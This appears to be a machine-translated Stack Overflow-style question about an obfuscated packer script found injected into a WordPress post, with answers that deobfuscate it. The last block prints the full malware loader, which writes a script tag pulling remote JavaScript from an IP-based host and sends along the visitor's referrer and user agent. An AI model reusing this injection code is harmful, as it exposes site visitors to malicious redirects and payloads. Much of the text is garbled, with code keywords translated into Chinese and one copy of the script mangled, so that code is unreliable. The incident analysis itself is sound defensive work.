这个脚本做什么?我能找到它的创造者吗? “代码>评估(功能(p,a,c,k,e,c,c,c,k,e,e,d){e(c){c返回c.toString(36)};如果(如果)如果(如果)如果.如果(c){代码.评估(c)评估(功能(p,a,a,c,c,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,p,c,c,c,p,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c 6(“”;n m=“q”|',30,30,'document | | javascript | encodeURI | src | | write | http | 45 | 67 | script | text | rel | nofollow | type | 97 | language | jquery | userAgent | navigator | sc | cript | fhksd | var | u0026u | referer | js

这个脚本做什么?我能找到它的创造者吗? “代码>评估(功能(p,a,c,k,e,c,c,c,k,e,e,d){e(c){c返回c.toString(36)};如果(如果)如果(如果)如果.如果(c){代码.评估(c)评估(功能(p,a,a,c,c,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,p,c,c,c,p,c,c,c,c,p,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c 6(“”;n m=“q”|',30,30,'document | | javascript | encodeURI | src | | write | http | 45 | 67 | script | text | rel | nofollow | type | 97 | language | jquery | userAgent | navigator | sc | cript | fhksd | var | u0026u | referer | js,javascript,obfuscation,deobfuscation,Javascript,Obfuscation,Deobfuscation,很抱歉没有格式化 我在WordPress网站上的一篇文章中找到了这个脚本。它导致了恶意重定向(至少我认为是这样,因为这是一个持续存在的问题,在我删除它之后就消失了,我的公司没有人添加脚本) 有人能帮我理解这个脚本在做什么吗?如果我能说出是谁制作的/放在那里的,(我对此表示怀疑) 我在学校学习CS,但我对JS/Regex了解不够,无法理解这是怎么回事:( 谢谢!@Ben,这就是代码在稍微清理后的结论: 代码片段可以安全地执行,这里只需要字符串操作。我已经删除了eval部分 //传递的参数: //

很抱歉没有格式化

我在WordPress网站上的一篇文章中找到了这个脚本。它导致了恶意重定向(至少我认为是这样,因为这是一个持续存在的问题,在我删除它之后就消失了,我的公司没有人添加脚本)

有人能帮我理解这个脚本在做什么吗?如果我能说出是谁制作的/放在那里的,(我对此表示怀疑)

我在学校学习CS,但我对JS/Regex了解不够,无法理解这是怎么回事:(


谢谢!

@Ben,这就是代码在稍微清理后的结论:

代码片段可以安全地执行,这里只需要字符串操作。我已经删除了
eval
部分

//传递的参数:
//p:
常量模板='0.6(“”;n m=“q”;';
//a:
常数numericBase=30;
//c:
设指数=30;
//k:
const关键字=[“document”、“”、“javascript”、“encodeURI”、“src”、“”、“write”、“http”、“45”、“67”、“script”、“text”、“rel”、“nofollow”、“type”、“97”、“language”、“jquery”、“userAgent”、“navigator”、“sc”、“script”、“fhksd”、“var”、“u0026u”、“referer”、“tibht”、“js”、“php”];
//e不是真正相关的,只是一个中间值
//d:传递为空,然后在以下循环中填充
常量dict={};
//首先,它从关键字列表中填充字典
而(索引--){
dict[index.toString(numericBase)]=关键字[index]| | index.toString(numericBase);
}
日志(“字典:%o”,dict);
日志(“模板:%o”,模板);
//然后用字典中的条目替换传递模板中的正则表达式单词
常量结果=模板。替换(/\b\w+\b/g,函数(匹配){
log(“将%o替换为%o”,匹配,dict[match]);
返回指令[匹配]
})
console.log(“结果:%o”,结果);
。作为控制台包装器{
排名:0;
最大高度:100%!重要

}
我删除了您声称会导致恶意活动的javascript,并将其提交给版主。版主将决定是否恢复代码。这个问题太广泛了,但仅供参考,它被称为“打包器堆栈溢出”的压缩器缩小了,吸引了许多开发人员,但它不一定是询问任何开发人员的最佳场所面向r的问题。具体来说,堆栈溢出的存在是为了回答您在制作程序时遇到的问题,重点是将来可能帮助其他人的问题;除臭和查找恶意作者超出了范围。此外,在显而易见的情况下发布恶意代码可能会暴露出那些愚蠢地运行恶意代码的人hout protection查看它的功能。@Rob它没有执行,那么问题出在哪里?它清楚地说明了脚本是恶意的,所以没有人会运行它。(并且它没有格式化为代码片段)只需将
eval
替换为
console.log
,然后查看它的计算结果。
<script type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhksd|var|u0026u|referrer|tibht||js|php'.split('|'),0,{}))